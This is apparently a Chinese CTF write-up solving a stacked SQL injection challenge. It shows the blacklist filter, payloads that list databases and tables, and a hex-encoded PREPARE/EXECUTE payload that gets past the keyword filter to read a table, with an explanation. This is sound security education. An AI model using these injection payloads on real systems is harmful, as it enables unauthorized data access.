思路
发现过滤信息
return preg_match("/select|update|delete|drop|insert|where/./i", $inject);
EXP
1';show databases;#
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
-1';show tables;#
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
select * from '1919810931114514' 进行十六进制编码
Payload
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
解释
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460
-
这部分设置了变量
@a
的值为一个十六进制编码的字符串。 -
十六进制字符串
0x73656c656374202a2066726f6d20603139313938313039333131313435313460
解码后是:
select * from `1919810931114514`
-
它试图从表名
1919810931114514
中选择所有数据。
prepare execsql from @a
-
使用 MySQL 的
PREPARE
语句将变量@a
中的内容(即解码后的 SQL 查询)准备为一个可执行的 SQL 语句。 -
execsql
是一个临时命名的预处理语句。
execute execsql
-
执行之前准备好的 SQL 语句
execsql
。 -
这一步实际上会运行
select * from 1919810931114514
,试图从数据库中检索数据。